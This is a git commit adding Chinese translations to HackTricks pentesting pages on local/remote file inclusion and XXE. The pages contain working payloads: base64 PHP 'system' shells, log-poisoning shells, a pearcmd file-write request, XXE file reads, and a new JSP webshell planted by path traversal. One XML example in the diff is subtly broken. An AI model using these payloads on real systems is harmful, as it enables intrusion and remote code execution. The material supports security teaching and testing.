Translated ['src/pentesting-web/file-inclusion/README.md', 'src/pentesti

This commit is contained in:
Translator 2025-08-18 18:20:21 +00:00
parent 6a2db03462
commit 8f85b2ed08
2 changed files with 163 additions and 86 deletions

View File

@ -7,7 +7,7 @@
**远程文件包含 (RFI):** 文件从远程服务器加载(最佳:您可以编写代码,服务器将执行它)。在 php 中,这个功能默认是 **禁用** 的 (**allow_url_include**)。\
**本地文件包含 (LFI):** 服务器加载本地文件。
当用户以某种方式控制将被服务器加载的文件时,就会发生漏洞。
当用户以某种方式控制将被服务器加载的文件时,就会发生漏洞。
易受攻击的 **PHP 函数**: require, require_once, include, include_once
@ -25,7 +25,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
尝试将 `/` 改为 `\`\
尝试将 `/` 改为 `\`\
尝试添加 `../../../../../`
一个使用多种技术查找文件 /etc/password以检查漏洞是否存在的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) 找到。
@ -38,7 +38,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
尝试将 `/` 改为 `\`\
尝试将 `/` 改为 `\`\
尝试删除 `C:/` 并添加 `../../../../../`
一个使用多种技术查找文件 /boot.ini以检查漏洞是否存在的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) 找到。
@ -49,7 +49,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
## 基本 LFI 和绕过
所有示例都是针对本地文件包含,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)。
所有示例都是针对本地文件包含,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/)。
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -86,7 +86,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
服务器的文件系统可以通过某些技术递归地探索,以识别目录,而不仅仅是文件。此过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目标的详细方法:
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度适用于基于Linux的服务器。一个示例URL可能结构如下示深度为三:
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度适用于基于Linux的服务器。一个示例URL可能结构如下示深度为三:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
@ -99,7 +99,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
- **`/etc/passwd` 的内容:** 确认存在 `private` 文件夹。
4. **递归探索:** 发现的文件夹可以使用相同的技术或传统的本地文件包含 (LFI) 方法进一步探测子目录或文件。
要在文件系统的不同位置探索目录,请相应调整有效载荷。例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录深度为 3请使用
要在文件系统的不同位置探索目录,请相应调整有效载荷。例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录深度为 3请使用
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@ -107,11 +107,11 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
路径截断是一种用于操纵Web应用程序中文件路径的方法。它通常用于通过绕过某些安全措施来访问受限文件这些安全措施会在文件路径的末尾附加额外字符。目标是构造一个文件路径该路径在被安全措施修改后仍然指向所需的文件。
在PHP中由于文件系统的性,文件路径的各种表示可以被视为等效。例如:
在PHP中由于文件系统的性,文件路径的各种表示可以被视为等效。例如:
- `/etc/passwd``/etc//passwd``/etc/./passwd``/etc/passwd/`都被视为相同的路径。
- 当最后6个字符`passwd`时,附加一个`/`(使其变为`passwd/`)不会改变目标文件。
- 同样,如果在文件路径后附加`.php`(如`shellcode.php`),在末尾添加`/.`不会改变访问的文件。
- 当最后6个字符`passwd`时,附加一个`/`(使其变为`passwd/`)不会改变目标文件。
- 同样,如果在文件路径后附加`.php`(如`shellcode.php`),在末尾添加`/.`不会改变正在访问的文件。
提供的示例演示了如何利用路径截断访问`/etc/passwd`,这是一个由于其敏感内容(用户账户信息)而常见的目标:
```
@ -126,10 +126,10 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
在这些场景中所需的遍历次数可能在2027左右但这个数字可能会根据服务器的配置而有所不同。
- **使用点段和附加字符**:遍历序列(`../`)与额外的点段和字符结合使用,可以用来导航文件系统,有效地忽略服务器附加的字符串。
- **确定所需的遍历次数**:通过反复试验,可以找到导航到根目录然后到`/etc/passwd`所需的精确`../`序列数量,确保任何附加的字符串(如`.php`)被中和,但所需的路径(`/etc/passwd`)保持不变。
- **确定所需的遍历次数**:通过反复试验,可以找到精确的`../`序列数量,以导航到根目录然后到`/etc/passwd`,确保任何附加的字符串(如`.php`)被中和,但所需的路径(`/etc/passwd`)保持不变。
- **从虚假目录开始**:通常的做法是以一个不存在的目录(如`a/`)开始路径。这种技术作为预防措施或满足服务器路径解析逻辑的要求。
在使用路径截断技术时,解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要测试以找到最有效的方式。
在使用路径截断技术时,解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要测试以找到最有效的方式。
**此漏洞在PHP 5.3中已被修复。**
@ -148,12 +148,12 @@ http://example.com/index.php?page=PhP://filter
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
如果由于某种原因 **`allow_url_include`** 是 **开启** 的,但 PHP 正在 **过滤** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以使用例如数据协议与 base64 解码 b64 PHP 代码并获得 RCE
如果由于某种原因 **`allow_url_include`** 是 **开启** 的,但 PHP 正在 **过滤** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以例如使用数据协议与 base64 解码一个 b64 PHP 代码并获得 RCE
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> 在之前的代码中,最后的 `+.txt` 被添加是因为攻击者需要一个以 `.txt` 结尾的字符串,因此字符串以它结尾,并且在 b64 解码后那部分将返回垃圾数据,真正的 PHP 代码将被包含(因此被执行)。
> [!TIP]
> 在之前的代码中,最后的 `+.txt` 被添加是因为攻击者需要一个以 `.txt` 结尾的字符串,因此字符串以它结尾,经过 b64 解码后那部分将返回垃圾数据,真正的 PHP 代码将被包含(因此被执行)。
另一个**不使用 `php://` 协议**的例子是:
```
@ -166,7 +166,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
如果用户传递一个 **绝对路径****`file_name`**那么 **之前的路径将被移除**
如果用户传递一个 **绝对路径****`file_name`****之前的路径会被移除**
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
@ -181,7 +181,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
## 前25个参数
以下是可能受到本地文件包含LFI漏洞影响的前25个参数列表来自[链接](https://twitter.com/trbughunters/status/1279768631845494787)
以下是可能容易受到本地文件包含LFI漏洞影响的前25个参数列表来自[链接](https://twitter.com/trbughunters/status/1279768631845494787)
```
?cat={payload}
?dir={payload}
@ -226,19 +226,19 @@ PHP 过滤器允许在数据被读取或写入之前执行基本的 **修改操
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码列表**,请在控制台运行:`iconv -l`
- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码** 列表,请在控制台运行:`iconv -l`
> [!WARNING]
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这可能对写入任意文本或使函数如 include 处理任意文本有用。有关更多信息,请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: 压缩内容(提取大量信息时很有用)
- `zlib.deflate`: 压缩内容(如果提取大量信息时很有用)
- `zlib.inflate`: 解压数据
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : 已弃用
- `mdecrypt.*` : 已弃用
- 其他过滤器
- 在 php 中运行 `var_dump(stream_get_filters());` 可以找到几个 **意外的过滤器**
- 在 php 中运行 `var_dump(stream_get_filters());` 可以找到一些 **意外的过滤器**
- `consumed`
- `dechunk`: 反转 HTTP 分块编码
- `convert.*`
@ -273,16 +273,16 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### 使用 php 过滤器作为 oracle 读取任意文件
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于 **使用 php 过滤器作为 oracle 的文件布尔外泄(逐字符)**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于 **使用 php 过滤器作为 oracle 逐字符布尔外泄文件**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。
在原始文章中可以找到该技术的详细解释,但这里是一个快速总结:
- 使用编码 **`UCS-4LE`** 将文本的前导字符留在开头,并使字符串的大小呈指数级增长。
- 这将用于生成一个 **当初始字母正确猜测时变得非常大的文本**,以至于 php 会触发一个 **错误**
- **dechunk** 过滤器将 **删除所有内容,如果第一个字符不是十六进制**,因此我们可以知道第一个字符是否是十六进制。
- 这与前一个(以及其他根据猜测字母的过滤器结合将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制dechunk 不会删除它,初始炸弹将使 php 出错
- 这与前一个(以及根据猜测字母的其他过滤器结合将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制dechunk 不会删除它,初始炸弹将导致 php 错误
- 编码 **convert.iconv.UNICODE.CP930** 将每个字母转换为下一个字母因此在此编码后a -> b。这使我们能够发现第一个字母是否是 `a`,例如,因为如果我们应用 6 次此编码 a->b->c->d->e->f->g该字母不再是十六进制字符因此 dechunk 不会删除它php 错误被触发,因为它与初始炸弹相乘。
- 使用其他转换如 **rot13** 在开头可以泄露其他字符如 n, o, p, q, r其他编码可以用将其他字母移动到十六进制范围)。
- 在开头使用其他转换如 **rot13** 可以泄露其他字符如 n, o, p, q, r其他编码可以用将其他字母移动到十六进制范围)。
- 当初始字符是数字时,需要对其进行 base64 编码并泄露前两个字母以泄露该数字。
- 最后一个问题是 **如何泄露超过初始字母**。通过使用顺序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,并在文本的首位获取其他字母。
- 为了能够获取 **更多数据**,想法是 **在开头生成 2 字节的垃圾数据**,使用 **convert.iconv.UTF16.UTF16**,应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**,并 **删除数据直到垃圾数据**(这将删除初始文本的前 2 字节)。继续这样做,直到达到所需的泄露位。
@ -356,9 +356,9 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
执行后,将创建一个名为 `test.phar` 的文件这可能被利用来利用本地文件包含LFI漏洞。
在执行时,将创建一个名为 `test.phar` 的文件这可能被利用来利用本地文件包含LFI漏洞。
在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下,通过 `file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()``filesize()` 等函数,可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件有关。
在 LFI 仅执行文件读取而不执行 PHP 代码的情况下,通过 `file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()``filesize()` 等函数,可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件有关。
有关在 `.phar` 文件上下文中利用反序列化漏洞的详细理解,请参阅下面链接的文档:
@ -370,26 +370,26 @@ phar-deserialization.md
### CVE-2024-2961
可以滥用 **任何支持 php 过滤器的 PHP 中的任意文件读取** 来获得 RCE。详细描述可以在 [**此帖子中找到**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
可以滥用 **任何支持 PHP 过滤器的任意文件读取** 来获得 RCE。详细描述可以在 [**此帖子中找到**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
非常简要的总结:在 PHP 堆中滥用 **3 字节溢出****更改特定大小的空闲块链**,以便能够 **在任何地址写入任何内容**,因此添加了一个钩子来调用 **`system`**。\
可以通过滥用更多的 php 过滤器来分配特定大小的块。
可以通过滥用更多 PHP 过滤器来分配特定大小的块。
### 更多协议
查看更多可能的 [**协议以包含在此**](https://www.php.net/manual/en/wrappers.php)****
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在文件包含攻击中如何有用)
- [php://memory php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在文件包含攻击中如何有用)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统
- [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URL
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URL
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 压缩流
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(不返回任何可打印内容,因此在这里并不实用)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不返回任何可打印的内容,因此在这里并不真正有用)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — 安全外壳 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适合读取任意文件)
## 通过 PHP 的 'assert' 进行 LFI
在处理 'assert' 函数时PHP 中的本地文件包含LFI风险显著较高因为该函数可以执行字符串中的代码。如果输入包含目录遍历字符如 ".." 被检查但未正确清理,这尤其成问题。
在处理 'assert' 函数时PHP 中的本地文件包含LFI风险显著较高因为它可以在字符串中执行代码。如果输入包含像 ".." 这样的目录遍历字符被检查但未正确清理,这尤其成问题。
例如PHP 代码可能被设计为防止目录遍历,如下所示:
```bash
@ -403,39 +403,85 @@ assert("strpos('$file', '..') === false") or die("");
```plaintext
' and die(system("id")) or '
```
重要的是要**对这些有效载进行URL编码**。
重要的是要**对这些有效载进行URL编码**。
## PHP盲路径遍历
> [!WARNING]
> 这种技术在您**控制**一个**PHP函数**的**文件路径**并且该函数将**访问一个文件**但您看不到文件内容的情况下是相关的(例如简单调用**`file()`**)但内容不会显示。
> 该技术在您**控制**一个**PHP函数**的**文件路径**的情况下相关,该函数将**访问一个文件**但您不会看到文件的内容(如简单调用**`file()`**)但内容不会显示。
在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历以**通过错误oracle提取文件内容**。
总之,该技术使用**"UCS-4LE"编码**使文件内容变得如此**庞大**以至于**打开**文件的**PHP函数**将触发一个**错误**。
总之,该技术使用**"UCS-4LE"编码**使文件内容变得如此**庞大**以至于**打开**文件的**PHP函数**将触发一个**错误**。
然后,为了泄露第一个字符,过滤器**`dechunk`**与其他过滤器如**base64**或**rot13**一起使用,最后使用过滤器**convert.iconv.UCS-4.UCS-4LE**和**convert.iconv.UTF16.UTF-16BE**来**在开头放置其他字符并泄露它们**。
**可能存在漏洞的函数**`file_get_contents``readfile``finfo->file``getimagesize``md5_file``sha1_file``hash_file``file``parse_ini_file``copy``file_put_contents (仅限目标只读)``stream_get_contents``fgets``fread``fgetc``fgetcsv``fpassthru``fputs`
**可能存在漏洞的函数**`file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (仅限目标只读)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
有关技术细节,请查看上述文章!
## LFI2RCE
### 远程文件包含
### 通过路径遍历进行任意文件写入Webshell RCE
如前所述,[**请访问此链接**](#remote-file-inclusion)。
当服务器端代码处理/上传文件时使用用户控制的数据例如文件名或URL构建目标路径而不进行规范化和验证时`..`段和绝对路径可以逃离预期目录并导致任意文件写入。如果您可以将有效负载放置在一个公开的Web目录下通常可以通过放置Webshell获得未经身份验证的RCE。
典型的利用工作流程:
- 确定在接受路径/文件名并将内容写入磁盘的端点或后台工作者中的写入原语例如消息驱动的摄取XML/JSON命令处理程序ZIP提取器等
- 确定Web暴露的目录。常见示例
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → 放置`shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → 放置`shell.aspx`
- 构造一个遍历路径突破预期存储目录进入Web根目录并包含您的Webshell内容。
- 浏览到放置的有效负载并执行命令。
注意:
- 执行写入的易受攻击服务可能在非HTTP端口上监听例如TCP 4004上的JMF XML监听器。主要Web门户不同端口稍后将提供您的有效负载。
- 在Java堆栈上这些文件写入通常通过简单的`File`/`Paths`连接实现。缺乏规范化/白名单是核心缺陷。
通用XML/JMF风格示例产品架构各异 - DOCTYPE/主体包装与遍历无关):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
```
加固措施以防止此类漏洞:
- 解析为规范路径并确保其是允许列出的基础目录的子目录。
- 拒绝任何包含 `..`、绝对根或驱动器字母的路径;优先使用生成的文件名。
- 以低权限账户运行写入程序,并将写入目录与服务根目录隔离。
## 远程文件包含
如前所述,[**请点击此链接**](#remote-file-inclusion)。
### 通过 Apache/Nginx 日志文件
如果Apache或Nginx服务器在包含函数内部**易受LFI攻击**,您可以尝试访问**`/var/log/apache2/access.log``/var/log/nginx/access.log`**,在**用户代理**或**GET参数**中设置一个php shell如**`<?php system($_GET['c']); ?>`**并包含该文件。
如果 Apache 或 Nginx 服务器在包含函数中**易受 LFI 攻击**,您可以尝试访问 **`/var/log/apache2/access.log``/var/log/nginx/access.log`**,在 **用户代理****GET 参数** 中设置一个 php shell**`<?php system($_GET['c']); ?>`** 并包含该文件。
> [!WARNING]
> 请注意,**如果您使用双引号**而不是**单引号**来编写shell双引号将被修改为字符串"_**quote;**_"**PHP将在那里抛出一个错误**,并且**不会执行其他任何内容**。
> 请注意,**如果您使用双引号**而不是 **单引号**,双引号将被修改为字符串 "_**quote;**_"**PHP 会在此抛出错误**,并且 **不会执行其他任何内容**
>
> 此外,请确保**正确编写有效载荷**否则每次PHP尝试加载日志文件时都会出错您将没有第二次机会。
> 此外,请确保**正确编写有效载荷**,否则每次尝试加载日志文件时 PHP 都会出错,您将没有第二次机会。
这也可以在其他日志中完成,但**请小心,**日志中的代码可能会被URL编码这可能会破坏Shell。头部**授权 "basic"**包含"用户:密码"的Base64编码并在日志中解码。PHPShell可以插入到此头部中。\
这也可以在其他日志中完成,但**请小心,**日志中的代码可能被 URL 编码,这可能会破坏 Shell。头部 **authorisation "basic"** 包含 "user:password" 的 Base64 编码并在日志中解码。PHPShell 可以插入到此头部中。\
其他可能的日志路径:
```python
/var/log/apache2/access.log
@ -452,11 +498,11 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### 通过电子邮件
**发送邮件**到内部账户 (user@localhost),包含你的 PHP 负载,如 `<?php echo system($_REQUEST["cmd"]); ?>`,并尝试包含用户的邮件,路径如 **`/var/mail/<USERNAME>`** 或 **`/var/spool/mail/<USERNAME>`**
**发送邮件** 一个内部账户 (user@localhost),包含你的 PHP 负载,如 `<?php echo system($_REQUEST["cmd"]); ?>`,并尝试包含用户的邮件,路径如 **`/var/mail/<USERNAME>`** 或 **`/var/spool/mail/<USERNAME>`**
### 通过 /proc/\*/fd/\*
1. 上传大量 shell例如100
1. 上传大量 shell例如100
2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID可以暴力破解$FD 是文件描述符(也可以暴力破解)
### 通过 /proc/self/environ
@ -476,7 +522,7 @@ http://example.com/index.php?page=path/to/uploaded/file.png
### 通过 ZIP 文件上传
上传一个包含压缩 PHP shell 的 ZIP 文件并访问:
上传一个包含压缩 PHP shell 的 ZIP 文件并访问:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -508,12 +554,12 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在本地文件包含LFI漏洞的情况下并且可以访问暴露的 vsftpd 服务器,可以考虑以下步骤:
1. 在登录过程中将 PHP 有效负载注入用户名字段
1. 在登录过程中将 PHP 有效负载注入用户名字段。
2. 注入后,利用 LFI 从 _**/var/log/vsftpd.log**_ 检索服务器日志。
### 通过 php base64 过滤器(使用 base64
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示PHP base64 过滤器会忽略非 base64。您可以利用这一点绕过文件扩展名检查如果您提供以 ".php" 结尾的 base64只会忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示PHP base64 过滤器会忽略非 base64。您可以利用这一点绕过文件扩展名检查如果您提供以 ".php" 结尾的 base64忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -521,7 +567,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### 通过 php 过滤器(不需要文件)
这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意的 php 代码** 进行包含 **而不需要将其写入** 文件。
这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意 php 代码** 以供包含 **而不需要将其写入** 文件。
{{#ref}}
lfi2rce-via-php-filters.md
@ -529,7 +575,7 @@ lfi2rce-via-php-filters.md
### 通过段错误
**上传** 一个将被存储为 **临时** 文件在 `/tmp`,然后在 **同一请求中** 触发 **段错误**,然后 **临时文件将不会被删除**,你可以搜索它。
**上传** 一个将被存储为 **临时** `/tmp` 的文件,然后在 **同一请求中,** 触发 **段错误,** 然后 **临时文件不会被删除**,你可以搜索它。
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -561,9 +607,9 @@ lfi2rce-via-temp-file-uploads.md
### 通过 `pearcmd.php` + URL 参数
正如 [**在这篇文章中解释的**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp),脚本 `/usr/local/lib/phppearcmd.php` 在 php docker 镜像中默认存在。此外,可以通过 URL 向脚本传递参数,因为它表明如果 URL 参数没有 `=`,则应将其用作参数。
正如 [**在这篇文章中解释的**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp),脚本 `/usr/local/lib/phppearcmd.php` 默认存在于 php docker 镜像中。此外,可以通过 URL 将参数传递给脚本,因为它表明如果 URL 参数没有 `=`,则应将其用作参数。
以下请求在 `/tmp/hello.php` 中创建一个内容为 `<?=phpinfo()?>` 的文件
以下请求在 `/tmp/hello.php` 中创建一个文件,内容为 `<?=phpinfo()?>`
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
@ -584,7 +630,7 @@ lfi2rce-via-phpinfo.md
### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 路径泄露
如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径** **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件****绕过该检查**
如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径****服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件****绕过该检查**
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@ -603,7 +649,7 @@ lfi2rce-via-eternal-waiting.md
如果你包含任何文件 `/usr/bin/phar``/usr/bin/phar7``/usr/bin/phar.phar7``/usr/bin/phar.phar`。(你需要包含同一个文件 2 次以引发该错误)。
**我不知道这有什么用,但可能有用。**\
_即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。_
_即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。_
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
@ -611,6 +657,8 @@ _即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai 从支持票到零日 (FreeFlow Core 路径遍历 → 任意写入 → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -4,7 +4,7 @@
## XML基础
XML是一种用于数据存储和传输的标记语言具有灵活的结构允许使用描述性命名的标签。它与HTML的不同之处在于不受限于一组预定义标签。尽管XML在AJAX技术中的初始作用显著但随着JSON的兴起其重要性已下降。
XML是一种用于数据存储和传输的标记语言具有灵活的结构允许使用描述性命名的标签。它与HTML的不同之处在于不受限于一组预定义标签。尽管XML在AJAX技术中的初始作用显著但随着JSON的兴起其重要性已下降。
- **通过实体表示数据**XML中的实体使得数据的表示成为可能包括特殊字符如`&lt;``&gt;`,它们分别对应于`<``>`以避免与XML的标签系统发生冲突。
- **定义XML元素**XML允许定义元素类型概述元素应如何结构化以及可以包含哪些内容从任何类型的内容到特定的子元素。
@ -43,7 +43,7 @@ XML是一种用于数据存储和传输的标记语言具有灵活的结构
```
![](<../images/image (86).png>)
这个第二个案例应该有助于提取文件,如果网络服务器使用 PHPPortswiggers 实验室的情况除外)
这个第二个案例应该有助于提取文件,如果网络服务器使用的是PHPPortswiggers实验室的情况除外)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -68,7 +68,7 @@ XML是一种用于数据存储和传输的标记语言具有灵活的结构
在**Java**基础的应用程序中可能通过XXE使用如下有效载荷**列出目录的内容**(只请求目录而不是文件):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
@ -110,10 +110,10 @@ XXE 可以被用来滥用云中的 SSRF
- 创建一个 XML 参数实体 `%file`,读取 `/etc/hostname` 文件的内容。
- 定义另一个 XML 参数实体 `%eval`。它动态声明一个新的 XML 参数实体 `%exfiltrate``%exfiltrate` 实体被设置为向攻击者的服务器发起 HTTP 请求,在 URL 的查询字符串中传递 `%file` 实体的内容。
2. **实体的执行:**
- `%eval` 实体,导致动态声明 `%exfiltrate` 实体的执行。
- 使`%eval` 实体,导致动态声明 `%exfiltrate` 实体的执行。
- 然后使用 `%exfiltrate` 实体,触发对指定 URL 的 HTTP 请求,包含文件的内容。
攻击者在其控制的服务器上托管此恶意 DTD,通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。
